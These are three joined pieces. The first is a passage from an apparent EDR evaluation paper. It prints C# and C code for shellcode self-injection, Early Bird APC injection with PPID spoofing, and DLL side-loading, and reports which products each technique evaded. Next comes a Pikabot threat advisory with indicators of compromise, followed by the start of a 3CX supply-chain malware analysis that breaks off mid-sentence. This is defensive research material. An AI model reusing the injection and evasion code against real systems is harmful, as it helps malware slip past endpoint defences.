`rundll32` LOLBINS which can execute code maliciously under its context. The file has been crafted using `CPLResourceRunner`. To this end, we use a shellcode storage technique using Memory-mapped files (MMF) and then trigger it using delegates. - A legitimate Microsoft (MS) Teams installation that will load a malicious DLL. In this regard, DLL side-loading will lead to a self-injection, thus, allowing us to “live” under a signed binary. - An unsigned PE executable file; from now on referred to as EXE, that will execute process injection using the “Early Bird” technique into `werfault.exe`. For this, we spoofed the parent of `explorer.exe` using the `PROC THREAD ATTRIBUTE MITIGATION POLICY` flag to protect our malware from an unsigned by Microsoft DLL event that is commonly used by EDRs for processes monitoring. - An HTA file. Once the user visits a harmless HTML page containing an IFrame, he will be redirected and prompted to run an HTML file infused with executable VBS code that will load the .NET code provided to perform self-injection under the context of `mshta.exe`. In what follows, we solely evaluate EDRs against our attacks. Undoubtedly, in an enterprise environment one would expect more security measures, e.g., a firewall, an antivirus, etc. However, despite improving the overall security of an organization, their output is considered beyond the scope of this work. ### 3.2 Code Analysis In the following paragraphs, we detail the technical aspects of each attack vector. #### 3.2.1 HTA We used C# and the `Gadget2JScript` tool to generate a serialized gadget that will be executed into memory. `ETWpCreateEtwThread` is used to execute the shellcode by avoiding common APIs such as `CreateThread()`. Note that in the background, `RtlCreateUserThread` is used. ```csharp byte[] shellcode = { }; byte[] xored = new byte[] { REDACTED }; string key = "mysecretkeee"; shellcode = xor(xored, Encoding.ASCII.GetBytes(key)); uint old = 0; // Gets current process handle IntPtr procHandle = Process.GetCurrentProcess().Handle; // Allocation and then change the page to RWX IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); VirtualProtectEx(procHandle, allocMemAddress, (UIntPtr)shellcode.Length, PAGE_EXECUTE_READWRITE, out old); // Write the shellcode UIntPtr bytesWritten; WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)shellcode.Length, out bytesWritten); EtwpCreateEtwThread(allocMemAddress, IntPtr.Zero); ``` #### 3.2.2 EXE File The main idea behind this attack is a rather simplistic code injection using executing our shellcode using the `QueueUserAPC()` API before the main method. It will launch a sacrificial process with PPID spoofing and inject to that. The file will employ direct system calls in assembly to avoid hooked functions. ```c // Assign CIG/blockdlls attribute DWORD64 CIGPolicy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; UpdateProcThreadAttribute(sie.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &CIGPolicy, 8, NULL, NULL); // Open handle to parent process HANDLE hParentProcess; NTSTATUS status = NtOpenProcess(&hParentProcess, PROCESS_CREATE_PROCESS, &pObjectAttributes, &pClientId); if (status != STATUS_SUCCESS) { printf("[-] NtOpenProcess error: %X\n", status); return FALSE; } // Assign PPID Spoof attribute UpdateProcThreadAttribute(sie.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL); // Injection Code // Get handle to process and primary thread HANDLE hProcess = pi.hProcess; HANDLE hThread = pi.hThread; // Suspend the primary thread SuspendThread(hThread); // Allocating a RW memory buffer for the payload in the target process LPVOID pAlloc = NULL; SIZE_T uSize = payloadLen; // Store the payload length in a local variable status = NtAllocateVirtualMemory(hProcess, &pAlloc, 0, &uSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (status != STATUS_SUCCESS) { return FALSE; } // Writing the payload to the created buffer status = NtWriteVirtualMemory(hProcess, pAlloc, payload, payloadLen, NULL); if (status != STATUS_SUCCESS) { return FALSE; } // Change page protections of created buffer to RX so that payload can be executed ULONG oldProtection; LPVOID lpBaseAddress = pAlloc; status = NtProtectVirtualMemory(hProcess, &lpBaseAddress, &uSize, PAGE_EXECUTE_READ, &oldProtection); if (status != STATUS_SUCCESS) { return FALSE; } // Assigning the APC to the primary thread status = NtQueueApcThread(hThread, (PIO_APC_ROUTINE)pAlloc, pAlloc, NULL, NULL); if (status != STATUS_SUCCESS) { return FALSE; } // Resume the thread DWORD ret = ResumeThread(pi.hThread); if (ret == 0XFFFFFFFF) return FALSE; ``` #### 3.2.3 DLL Sideloading In this case, we used the Brownie - Koppeling projects to create an evil clone of a legitimate DLL from `system32` and added it to the folder of MS Teams so that our encrypted shellcode will be triggered under its process. Moreover, since MS Teams adds itself to the startup, this provides us persistence to the compromised host. Note that EDRs sometimes tend to overlook self-injections as they consider that they do not alter different processes. In the provided code, one observes the usage of `VirtualProtect()`. This was made to avoid direct RWX memory allocation. ```c BOOL execute_shellcode(LPSTR payload, SIZE_T payloadLen) { // Init some important variables void* exec_mem; BOOL ret; HANDLE threadHandle; DWORD oldProtect = 0; // Allocate a RW memory buffer for payload exec_mem = VirtualAlloc(0, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Write payload to new buffer RtlMoveMemory(exec_mem, payload, payloadLen); // Make new buffer as RX so that payload can be executed ret = VirtualProtect(exec_mem, payloadLen, PAGE_EXECUTE_READ, &oldProtect); // Now, run the payload if (ret != 0) { threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0); WaitForSingleObject(threadHandle, -1); } return TRUE; } ``` ### 3.2.4 HTA Both attack vectors were not detected by the EDR. ## 4 EDR and EPP Evaluation In what follows, we evaluate fourteen state-of-the-art EDRs and five EPPs against our attacks. To this end, we provide a brief overview of each EDR and its features. Then, we proceed reporting which features were enabled and discuss how each of them performed in the attack scenario. EDRs and EPPs are listed in alphabetical order. ### 4.1 BitDefender GravityZone Plus BitDefender GravityZone Plus is the company’s flagship including EDR, EPP, and SandBox capabilities. Its use of common telemetry providers is exemplary as far as the tests are concerned and tries to make the most out of them with a highly intelligent engine which correlates the information that in turn leads to immediate blocking and remediation as well as a robust console. #### 4.1.1 CPL This vector was blocked as a behavioral alert of Cobalt Strike. #### 4.1.2 HTA This vector was instantly detected as malicious and was blocked. #### 4.1.3 DLL This vector was blocked but did not raise a major alert. However, its events were included in another attack vector detection. #### 4.1.4 EXE The product is very dependent on UM Hooks; in this case, the content was not blocked nor raised any alert/event as it uses syscalls. ### 4.2 Carbon Black Response Carbon Black is one of the leading EDR solutions. Its true power comes from its telemetry and its ability to extensively monitor every action performed on a system, such as registry modifications, network connections, etc., and most importantly, provide a SOC-friendly interface to triage the host. Based on the telemetry collected from the sensor, a comparison to several IoCs will be aggregated into a score which depending on its value, will trigger an alert. Moreover, when considering EDRs, configuration plays a vital role. Therefore, in this case, we have a custom SOC feed for detections based on IOCs that Carbon Black processes. Also, the feeds can be query-based, meaning that alerts will be produced based on results yielded by searches based on the events that Carbon Black processes, including but not limited to, registry modifications, network connections, module loadings. This EDR relies heavily on kernel callbacks and a lot of its functionalities reside in its network filtering driver and its file system filtering driver. For several detections, user-mode hooks are also used. As an example, consider the detection of memory dumping. As mentioned in Carbon Black’s documentation, userland API hooks are set to detect a process memory dump. Another example is the detection of script interpreters loaded into memory. #### 4.2.1 Enabled Settings Carbon Black Response is different in terms of logic and use case. Its main purpose is to provide telemetry and not to proactively act. Moreover, its scope is to assist during an investigation as it does not include blocking capabilities but is a SOC-friendly software that gives in-depth visibility. Its power is closely related to the person behind the console as beyond triaging hosts, its detection relies on feeds that can be customized and produce alerts. In our case, we used some default feeds such as ATT&CK feed and Carbon Black’s Community Feed as well as a custom corporate feed. #### 4.2.2 CPL An alert was triggered due to the abnormal name, location, and usage of `Shell32.dll`. Carbon Black is well aware of malicious `.cpl` files in this case, but it cannot clearly verify whether this activity is indeed malicious. Therefore, the event is reported with a low score. #### 4.2.3 HTA The `.hta` file was detected due to its parent process as a possible CVE and for a suspicious loaded module. Carbon Black is aware of both LOLBAS and LOLBINS and timely detected it. #### 4.2.4 EXE - DLL Regarding the other two attack vectors, no alerts were raised. Nevertheless, their activity was monitored normally and produced telemetry that the host communicates, despite being able to communicate successfully to our domain. Finally, it should be noted that the PPID spoofing did not succeed against Carbon Black. ### 4.3 Carbon Black Cloud Further to Carbon Black Response, we also tested Carbon Black Cloud, the flagship of the company when it comes to endpoint protection. It reserves the same capabilities for highly efficient telemetry processing and collection with blocking as an additional feature and NGAV capabilities. It follows the same principles as the Response version with extended core functionality. #### 4.3.1 Enabled Settings We used the Advanced policy created by VMWare with all settings set to block. #### 4.3.2 EXE-DLL Both attacks were successful without triggering any alert. #### 4.3.3 CPL-HTA Both attacks were detected by Carbon Black Cloud raising a major alert; however, none of them was blocked. ### 4.4 Check Point Harmony #### 4.4.1 Enabled Settings For Check Point Harmony, we used a prevent mode where possible and enabled emulation/behavioral (antibot antiexploit), and did not turn on safe search setting to prevent checks of hashes. #### 4.4.2 HTA-CPL For the HTA attack vector, a medium alert was raised, but the attack was not blocked. In the case of the CPL, the attack was blocked, and an alert was raised in the console. #### 4.4.3 EXE The EXE attack vector was detected and blocked. #### 4.4.4 DLL The DLL attack vector was not blocked nor detected. ### 4.5 Cisco Secure Endpoint (ex AMP) AMP is Cisco’s EDR which provides endpoints with prevention, detection, and response capabilities, as well as threat hunting. Moreover, it uses cloud-based analytics and machine learning to timely detect threats. #### 4.5.1 Enabled Settings In this EDR, we used the “Standard Protection Policy” activating the “Malicious Script Blocking” feature. #### 4.5.2 CPL-HTA Both attacks were blocked. In the case of the CPL file, the file was quarantined, while in the HTA case, the process was killed. #### 4.5.3 DLL In the case of the DLL attack vector, we noticed that while the attack was blocked, the provided alert was for exploit blocking. Therefore, we opted to perform the same attack, but with a different application. Indeed, the problem seemed to be the specific application, so once we used another app but the same technique, the attack was successful. #### 4.5.4 EXE This attack vector was successful and raised no alert. ### 4.6 Comodo OpenEDR OpenEDR is Comodo’s open-source EDR solution. Its open-source nature allows for a lot of customization and extensions. It can leverage the cloud to manage the console and uses Comodo’s containment technology to block threats. #### 4.6.1 Enabled Settings For OpenEDR, we used the preconfigured profile that claims to offer maximum security. #### 4.6.2 HTA-DLL Both attack vectors were successful and raised no alert. #### 4.6.3 CPL-EXE Both attacks were blocked by the EDR using Comodo’s containment technology. While the files were sent to console, no alert was raised. ### 4.7 CrowdStrike Falcon CrowdStrike Falcon combines some of the most advanced behavioral detection features with a very intuitive user interface. The latter provides a clear view of the incident itself and the machine’s state during an attack through process trees and indicators of attacks. Falcon Insight’s kernel-mode driver captures more than 200 events and related information necessary to retrace incidents. Besides the classic usage of kernel callbacks and user-mode hooks, Falcon also subscribes to ETWTi. #### 4.7.1 Enabled Settings For this EDR, we used an aggressive policy enabling as many features as possible. It was a policy already used in a corporate environment with its goal being maximum protection and minimum disruption. #### 4.7.2 DLL - CPL - HTA None of these three attack vectors produced any alerts and allowed the Cobalt Strike beacon to be executed covertly. #### 4.7.3 EXE Quite interestingly, the EXE was detected, although direct system calls were used to bypass user-mode hooking. Note that the alert is of medium criticality. ### 4.8 Cylance PROTECT Cylance is one of the first players according to their claims to integrate AI and ML to elevate their product to an ‘NGAV’ (Next Generation Anti Virus). Cylance PROTECT was used as a reference point by many researchers in the past due to the fact that it was too much dependent on user-mode hooks and it was an excellent example of how new-age protections can be bypassed both engine-wise and telemetry-wise. #### 4.8.1 Enabled Settings The configuration of Cylance PROTECT is a very straightforward approach. For our experiments, we set all possible protections to ‘on’ and ‘block & quarantine’; where applicable, and enabled verbose logging. #### 4.8.2 EXE The EXE attack vector was not detected by the Cylance PROTECT. #### 4.8.3 DLL-CPL-HTA The DLL attack vector was blocked. Notably, for the rest two attack vectors (CPL and HTA), despite the fact that we performed several tests, both were not executed under Cylance PROTECT. However, despite the fact that we enabled verbose logging, no alert nor any blocking took place according to the provided interface during our experiments. ### 4.9 Cynet Cynet’s core resides in its Cynet Endpoint Scanner and some of the main capabilities it promotes are memory-based artifact scanning and detections as well as ‘memory pattern alerts’ which run on a real-time basis and provide continuous monitoring of the system process-wise. Most of its detections and protections are based on its mini-filter driver and its machine learning-based algorithm for static detections, which is what makes it a Next-Generation Antivirus (NGAV) according to Cynet. #### 4.9.1 Enabled Settings In Cynet, we used an aggressive configuration enabling prevent mode, when possible, and enabled all features including ADT, Event monitoring, etc. #### 4.9.2 CPL The CPL attack vector was killed via static detection. #### 4.9.3 HTA-EXE-DLL All three attack vectors were successful without raising any alert. ### 4.10 Elastic EDR Elastic EDR is one of the few open-source solutions in the market. It is built upon the well-known ELK stack allowing for advanced search and visualization capabilities and its open nature allows for further customization. #### 4.10.1 Enabled Settings We enabled all prevention settings and available sources, e.g., file modifications. #### 4.10.2 DLL The DLL attack was detected and blocked once it touched the disk. #### 4.10.3 CPL The DLL attack was detected in memory and blocked. #### 4.10.4 EXE-HTA Both attacks were successfully launched and did not raise any alert. ### 4.11 ESET PROTECT Enterprise ESET PROTECT Enterprise is a widely used endpoint solution that uses behavior and reputation systems to mitigate attacks. Moreover, it uses cloud sandboxing to prevent zero-day threats and full disk encryption for enhanced data protection. The EPP uses real-time feedback collected from millions of endpoints using, among others, kernel callbacks, ETW (Event Tracing for Windows), and hooking. #### 4.11.1 Enabled Settings For this EPP, we used the predefined policy for maximum security, as stated by ESET in the console. This makes use of machine learning, deep behavioral inspection, SSL filtering, PUA detection, and we decided to hide the GUI from the end user. #### 4.11.2 EXE-DLL Both these attack vectors were successfully executed, without the EPP blocking and reporting any alert. #### 4.11.3 CPL-HTA The CPL and HTA attacks were correctly identified and blocked by ESET PROTECT Enterprise. ### 4.12 F-Secure Elements F-Secure Elements can have several products under it; for this experiment, two products were tested, namely Endpoint Protection Platforms (EPP) and Endpoint Detection and Response solutions (EDR). Both solutions collect behavioral events from the endpoints, including file access, processes, network connections, registry changes, and system logs. To achieve this, the Elements use Event Tracing for Windows among other capabilities. While F-Secure Elements EDR uses machine learning for enrichments, human intervention from cybersecurity experts is often used. #### 4.12.1 Enabled Settings In terms of our experiments, we experimented with both the EPP and the EDR solution enabling all features available, including DeepGuard. We also included browsing control based on reputation, and the firewall was up and running. #### 4.12.2 F-Secure EPP In the case of F-Secure EPP, no attack was detected nor blocked. #### 4.12.3 F-Secure EDR In the case of F-Secure EDR, as already discussed, two experiments were conducted in collaboration with F-Secure. There were three attacks detected during these tests. Two of these attacks were detected immediately, while the third one had a time delay of 5 hours during the initial experiment. Since F-Secure downgraded the databases, there was some confusion that led to the misconfiguration of the backend systems. After some resolution from the vendor side, the delay for that particular attack was reduced to 25 minutes. ### 4.13 FortiEDR FortiEDR is heavily based on its simulation mode which we did not use due to time constraints and the nature of the experiments; it’s a training session for it to learn and understand the function of the organization. It makes the most out of the callbacks and tries to identify and block the unmapped code and its dynamic behavior in the infection process. According to our experiments, these alerts occur in cases where reflective injection is performed. #### 4.13.1 Enabled Settings In FortiEDR, we used an aggressive setting with all features enabled and block mode everywhere. #### 4.13.2 CPL-HTA-EXE-DLL FortiEDR managed to detect and block all attack vectors. ### 4.14 Harfang Lab Hurukai Harfang Lab is a new player in the market. Their EDR tries to provide extensive visibility and some highly needed analysis features including real-time disassembly and Yara-based capabilities to detect malicious patterns and extend the initial detections. #### 4.14.1 Enabled Settings The experiments were conducted in collaboration with the Harfang Labs’ team and they were set to provide the highest level of possible detection; however, it was not set in block mode. #### 4.14.2 CPL-EXE The CPL attack vector was detected as a suspicious execution. The EXE attack vector was also detected due to the fact that the sacrificial process `werfault.exe` did not have any flags (even dummy) as it normally does. #### 4.14.3 DLL-HTA Both attack vectors were not detected by the EDR. ### 4.15 ITrust ACSIA ITrust claims that its security solution ACSIA, that it positions as an EDR, is a game changer with a totally different approach that would prevent the attack before the payload reaches the target. Their solution is not based on traditional telemetry sources and does not have a custom mini-filter, but seems to be based on tools like a log collector. #### 4.15.1 Enabled Settings All the settings were enabled by the vendor in the provided environment. #### 4.15.2 CPL-HTA-EXE-DLL All attack vectors passed without any alert being raised by the EDR. ### 4.16 Kaspersky Endpoint Security Kaspersky Endpoint Security is an endpoint security platform with multi-layered security measures that exploits machine learning capabilities to detect threats. Moreover, this EPP agent serves also as the EDR agent also facilitating vulnerability and patch management and data encryption. #### 4.16.1 Enabled Settings In our experiments, we enabled all security-related features in every category. However, we did not employ any specific configuration for Web and Application controls. #### 4.16.2 CPL-HTA-EXE In the case of CPL, HTA, and EXE attack vectors, Kaspersky Endpoint Security timely identified and blocked our attacks. #### 4.16.3 DLL Our DLL attack was successfully launched and no telemetry was recorded by Kaspersky Endpoint Security. ### 4.17 McAfee Endpoint Protection McAfee Endpoint Protection is among the most configurable and friendly to the technical user solutions; it allows reacting to specific process behaviors, i.e., remote memory allocation, but also to proactively eliminate threats by reducing the options an attacker has based on a handful of options such as blocking program registration to autorun. #### 4.17.1 Enabled Settings For this EPP, we decided to challenge McAfee since it offers a vast amount of settings and a lot of options for advanced users such as memory allocation controls, etc. #### 4.17.2 HTA-CPL Both HTA and CPL-based attacks were identified and blocked. However, it should be noted that the HTA attack was blocked due to the applied policy of blocking execution of all HTA files. #### 4.17.3 EXE-DLL Both the EXE and DLL-based attacks were successfully executed without being identified by McAfee Endpoint Protection nor producing any telemetry. ### 4.18 McAfee Endpoint Protection Infused with the MVision EDR Further to the aforementioned test, we conducted the tests again with the collaboration of McAfee engineers extending our testing with a newer version that included their EDR solution too. #### 4.18.1 Enabled Settings The policy was configured for optimal security in collaboration with McAfee’s engineers. #### 4.18.2 DLL-EXE Both attack vectors passed without triggering any alert. #### 4.18.3 CPL-HTA The CPL attack was blocked by the EPP, as in the previous experiment. The HTA attack was detected with a low alert, but was not blocked. ### 4.19 Microsoft Defender for Endpoints (ex. ATP) Microsoft Defender for Endpoints is heavily kernel-based rather than user-based, which allows for great detection capabilities. The beauty of MDE lies in the fact that most of the detection capability lies in Windows itself, albeit not utilized unless the machine is onboarded. For these tests, the EDR was set to block mode to prevent instead of merely detecting. #### 4.19.1 Enabled Settings We enabled all the basic features including the tamper protection, the block mode option, and auto investigation. #### 4.19.2 Original Experiments Most of these vectors were detected as soon as they touched the disk or were executed. #### 4.19.3 Updated Results - Same Payloads The CPL attack vector was detected in the new test but was not blocked, replicating the behavior of the original test. #### 4.19.4 Updated Results - Modified IOCs with Same Techniques We noticed that the CPL attack vector was detected with the modified IOCs but was not blocked immediately. In fact, the payload was running for around 15 minutes before being blocked in memory by MDE. ### 4.20 Minerva Labs Minerva Labs is a new player in the market with its main goal being user-mode based prevention based on deception and target emulation. The main idea behind this is that Minerva uses several modules to detect and prevent activities ranging from sandbox detection used by malware to fingerprinting target environments to process injection detection and LoLBin usage prevention. #### 4.20.1 Enabled Settings We used all modules as offered by Minerva including their ruleset which comes as a part of their EDR. #### 4.20.2 EXE The `.exe` used direct system calls which were not detected by the solution also using a `werfault` process which has an arbitrary parent was not abnormal. #### 4.20.3 CPL The `.cpl` file was blocked by the LoLBin protection as it was, but the technique used for injection by itself was not blocked.
# THREAT ADVISORY ## ATTACK REPORT **Date of Publication:** May 25, 2023 **Admiralty Code:** A2 **TA Number:** TA2023246 ### Summary **First seen:** 2023 **Malware:** Pikabot **Attack Region:** Worldwide (excluding Georgia, Kazakhstan, Cyrillic, Tajikistan, Russia, Ukraine, Belarus, and Slovenia). **Attack:** Pikabot, a sophisticated backdoor active since 2023, evades analysis with anti-analysis measures like the "sleep" function, uses NtContinue API, employs language-based execution cessation, and shows connections to Qakbot trojan. ### Attack Details Pikabot, an insidious backdoor, has been operational since the start of 2023. This malicious software consists of distinct modules: a loader and a core component responsible for executing the majority of tasks. Using a command-and-control server, Pikabot can receive various commands, including injecting arbitrary shellcode, DLLs, or executable files. Pikabot employs a code injector to decrypt and inject its core module, incorporating multiple anti-analysis mechanisms. The core module and its injector also leverage the ADVobfuscator, an open-source string obfuscation tool. Pikabot shares identical dissemination tactics, marketing strategies, and malicious behaviors with the Qakbot trojan. The Pikabot core module incorporates several measures to evade analysis, including a notable technique known as the "sleep" function. This function introduces a delay in Pikabot's execution. Instead of using commonly utilized Windows API functions, Pikabot employs the NtContinue API function to set a timer. Additionally, if the system's language matches any of the following: Georgian, Kazakh, Uzbek, Tajik, Russian, Ukrainian, Belarusian, or Slovenian, Pikabot will cease its execution. There are indications that Pikabot could be linked to Qakbot, as they share similarities in distribution methods, design elements, and campaign identifiers. ### Recommendations **Strengthen Anti-Malware Defenses:** Given Pikabot's advanced evasion techniques and potential ties to Qakbot, it is crucial to enhance anti-malware defenses. Organizations should invest in robust cybersecurity solutions capable of detecting and mitigating such sophisticated threats. Employing behavior-based analysis can help identify and neutralize Pikabot. **Heighten User Awareness and Vigilance:** Educating users about the risks posed by sophisticated malware like Pikabot is paramount. Additionally, users should exercise caution when opening email attachments or clicking on unfamiliar links to minimize the risk of infection. ### Potential MITRE ATT&CK TTPs - **TA0002:** Execution - **TA0003:** Persistence - **TA0004:** Privilege Escalation - **TA0005:** Defense Evasion - **TA0006:** Credential Access - **TA0007:** Discovery - **TA0009:** Collection - **TA0011:** Command and Control - **T1129:** Shared Modules - **T1574:** Hijack Execution Flow - **T1547.001:** Registry Run Keys / Startup Folder - **T1574.002:** DLL Side-Loading - **T1055:** Process Injection - **T1027:** Obfuscated Files or Information - **T1036:** Masquerading - **T1112:** Modify Registry - **T1218:** System Binary Proxy Execution - **T1218.010:** Regsvr32 - **T1218.011:** Rundll32 - **T1497:** Virtualization/Sandbox Evasion - **T1056:** Input Capture - **T1057:** Process Discovery - **T1082:** System Information Discovery - **T1083:** File and Directory Discovery - **T1518:** Software Discovery - **T1518.001:** Security Software Discovery - **T1571:** Non-Standard Port Discovery ### Indicators of Compromise (IOCs) **SHA256:** - 92153e88db63016334625514802d0d1019363989d7b3f6863947ce0e490c1006 - a48c39cc45efea110a7c8edadcb6719f5d1ebbeebb570b345f47172d393c0821 - 8ee9141074b48784c89aa5d3cd4010fcf4e6d467b618c8719970f78fcc24a365 - a9db5aca01499f6ce404db22fb4ba3e4e0dc4b94a41c805c520bd39262df1ddc - 347e2f0d8332dd2d9294d06544c051a302a2436da453b2ccfa2d7829e3a79944 **URLs:** - hxxps://129.153[.]135.83:2078 - hxxps://132.148.79[.]222:2222 - hxxps://45.154.24[.]57:2078 - hxxps://45.85.235[.]39:2078 - hxxps://94.199.173[.]6:2222
# 3CX Supply Chain Compromise Leads to ICONIC Incident **March 30, 2023** by Ankur Saini, Callum Roxan, Charlie Gardner, Paul Rascagneres, Steven Adair, Thomas Lancaster **Update:** Following additional analysis of shellcode used in ICONIC, Volexity now attributes the activity described in this post to the Lazarus threat actor. The original post has been left as written. On Wednesday, March 29, 2023, Volexity became aware of a supply chain compromise by a suspected North Korean threat actor, which Volexity tracks as UTA0040. Endpoints with the 3CX Desktop application installed received a malicious update of this software that was signed by 3CX and downloaded from their servers. This was part of the default automatic update process and would result in information-stealing malware being installed on the victim’s host. It is possible that additional malicious activity may have taken place if the threat actor deemed the endpoint to be of sufficient interest. 3CX is a phone system company and claims to have more than 600,000 customers and 12 million users, including world-renowned brands. They have posted an update on their website acknowledging the compromise, though it should be noted the information in this post should not be deemed conclusive or entirely accurate based on Volexity’s analysis. In a public post on Reddit, CrowdStrike identified signed 3CX installation files as being malicious and reported that customers were seeing malicious activity emanating from the “3CXDesktopApp.” Volexity further identified public forum postings on 3CX’s own website that stated various endpoint detection and response (EDR) and antivirus (AV) vendors began flagging malicious activity from updates as early as March 22, 2023. Volexity’s analysis suggests the malicious activity likely began much earlier. Volexity was able to obtain multiple malicious installers for Windows and macOS directly from 3CX download servers. Analysis of installers from both platforms allowed Volexity to identify several new indicators of compromise and gain further insight into how the malware functions. This post details what Volexity discovered from its analysis of the malicious installers and the additional files it downloads. Highlights of the findings include the following: - Both the macOS and Windows installers for 3CX are affected. - Based on data recovered from GitHub, infrastructure used by the Windows variant was activated on December 7, 2022. - Domains and web infrastructure used in the attacks were registered as early as November 2022. - A reconnaissance payload was deployed far and wide to Windows users. - The same functionality to download a payload was identified in the macOS sample, although Volexity could not confirm the final payload as the C2 was unresponsive at the time of analysis. Any endpoint impacted by this malicious update should be isolated and investigated for further signs of compromise. Organizations should assess the potentially impacted information on these endpoints and look to cycle secrets to reduce the risk of additional future compromise. ## ICONIC Analysis ### Stage #1: Supply Chain Attacks - ICONIC Volexity’s analysis began with one of the installers tagged as malicious in public discourse: - **Name(s):** 3CXDesktopApp-18.12.416.msi - **Size:** 97.8MB (102555648 Bytes) - **File Type:** Windows Installer - **MD5:** 0eeb1c0133eb4d571178b2d9d14ce3e9 - **SHA1:** bfecb8ce89a312d2ef4afc64a63847ae11c6f69e - **SHA256:** 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 The installer contains a malicious version of ffmpeg.dll, an open-source video player library: - **Name(s):** ffmpeg.dll - **Size:** 2.7MB (2814976 Bytes) - **File Type:** Win32 DLL - **MD5:** 74bc2d0b6680faa1a5a76b27e5479cbc - **SHA1:** bf939c9c261d27ee7bb92325cc588624fca75429 - **SHA256:** 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 The library is loaded by 3CXDesktopApp.exe, and it is used to decode and inject a payload into memory: - **Name(s):** N/A - **Size:** 288.0KB (294912 Bytes) - **File Type:** application/x-dosexec - **MD5:** 11bc82a9bd8297bd0823bce5d6202082 - **SHA1:** 894e7d4ffd764bb458809c7f0643694b036ead30 - **SHA256:** f79c3b0adb6ec7bcc8bc9ae955a1571aaed6755a28c8b17b1d7595ee86840952 The purpose of this malware, which Volexity will refer to as “ICONIC,” is as follows: - Download various files that contain additional code, with names such as icon[0-15].ico, hosted at https://github[.]com/IconStorages/images/. (Note: the GitHub repository has since been taken down.) - Parse these files to identify a “$” character followed by a base64-encoded string appended to the end of the ICO files. - Decrypt the base64 string using the AES-GCM encryption algorithm. All values required to decrypt AES-GCM are derived from a complex function that third-party researchers have indicated is based on a publicly available gist. - Once the string is decoded, it contains the URLs with which the DLL will then communicate to receive a next-stage payload. - The next-stage payload is a JSON object that is then parsed and must further be decrypted (with the same AES-GCM decryption function). The next stage is expected to be a 64-bit PE that is reflectively loaded through a shellcode loader stored at the head of the file. A script is provided with this post on GitHub that can be used to decrypt the base64 blobs appended to the ICO files. Volexity was able to clone the GitHub project, and through the commit history, was also able to retrieve files that had previously been deleted. The table below provides details of each file and the decoded URL from each one. Note that there are duplicate filenames due to deletions, and in some cases the files were identical. ### Active Files | Filename | Hash (SHA1) | Decoded URL | |------------|-------------------------------------------------------------|------------------------------------------------------| | icon0.ico | 9c943baad621654cc0a0495262b6175276a0a9fb | https://www.3cx[.]com/blog/event-trainings/ | | icon1.ico | 96910a3dbc194a7bf9a452afe8a35eceb904b6e4 | https://msstorageazure[.]com/window | | icon2.ico | ffccc3a29d1582989430e9b6c6d2bff1e3a3bb14 | https://officestoragebox[.]com/api/session | | icon3.ico | 89827af650640c7042077be64dc643230d1f7482 | https://visualstudiofactory[.]com/workload | | icon4.ico | b5de30a83084d6f27d902b96dd12e15c77d1f90b | https://azuredeploystore[.]com/cloud/services | | icon5.ico | 3992dbe9e0b23e0d4ca487faffeb004bcfe9ecc8 | https://msstorageboxes[.]com/office | | icon6.ico | caa77bcd0a1a6629ba1f3ce8d1fc5451d83d0352 | https://officeaddons[.]com/technologies | | icon7.ico | 57a9f3d5d1592a0769886493f566930d8f32a0fc | https://sourceslabs[.]com/downloads | | icon8.ico | f533bea1c0558f73f6a3930343c16945fb75b20f | https://zacharryblogs[.]com/feed | | icon9.ico | 31d775ab577f3cc88991d90e9ae58501dbe1f0da | https://pbxcloudeservices[.]com/phonesystem | | icon10.ico | 0d890267ec8d6d2aaf43eaca727c1fbba6acd16e | https://akamaitechcloudservices[.]com/v2/storage | | icon11.ico | 0d890267ec8d6d2aaf43eaca727c1fbba6acd16e | https://akamaitechcloudservices[.]com/v2/storage | | icon12.ico | b1dee3ebcffad01a51ff31ff495fef1d40fdfaa0 | https://azureonlinestorage[.]com/azure/storage | | icon13.ico | 64ab912d0af35c01355430d85dd4181f25e88838 | https://msedgepackageinfo[.]com/microsoft-edge | | icon14.ico | 8377fb40c76aa3ba3efae3d284fa51aa7748e010 | https://glcloudservice[.]com/v1/console | | icon15.ico | 11ae67704ea0b930b2cc966e6d07f8b898f1a7d2 | https://pbxsources[.]com/exchange | ### Deleted Files | Filename | Hash (SHA1) | Decoded URL | |------------|-------------------------------------------------------------|------------------------------------------------------| | icon1.ico | ad37112b302c5193e60f6f6f49f4df668f5d3eb9 | https://msedgeupdate[.]net/Windows | | icon2.ico | ad37112b302c5193e60f6f6f49f4df668f5d3eb9 | https://msedgeupdate[.]net/Windows | | icon10.ico | 3a2138cd38ff2cef246f122a97d3c8f85ab6fc94 | https://pbxphonenetwork[.]com/voip | | icon0.ico | 3df119f322c5182bdbea4ab364eec8a0e23d888b | https://msstorageazure[.]com/window | | icon1.ico | 9c943baad621654cc0a0495262b6175276a0a9fb | https://www.3cx[.]com/blog/event-trainings/ | | icon0.ico | 9c943baad621654cc0a0495262b6175276a0a9fb | https://www.3cx[.]com/blog/event-trainings/ | A summary of the created, last modified, and domain registration times for each of these files is provided as an attachment to this post. Volexity believes the www.3cx[.]com entries were used for testing because, at the time of analysis, these URLs would not return a payload that could be parsed by the malware. Volexity was not able to retrieve payloads from the msedgeupdate[.]net or pbxphonenetwork[.]com domains, while the remainder of the URLs all provided the same valid second-stage payload. The first commit to the GitHub page containing an ICO file with an encrypted 3cx[.]com URL was added on December 7, 2022, which suggests that the attacker had potentially initiated their own testing of the backdoor at this time. ### Stage #2: ICONIC Stealer Once a URL is decoded from an ICO file, a specially formatted request is made to download a second-stage payload. The format of the request is below: ``` accept: */* accept-language: en-US,en;q=0.9 accept-encoding: gzip, deflate, br content-type: text/plain cookie: __tutma={MachineGuid} ``` The MachineGuid is derived from the system’s registry via SOFTWARE\Microsoft\Cryptography. Volexity’s analysis determined that the “cookie” header is the crucial component to retrieving the second-stage payload. If this value is not sent, no payload is returned to the 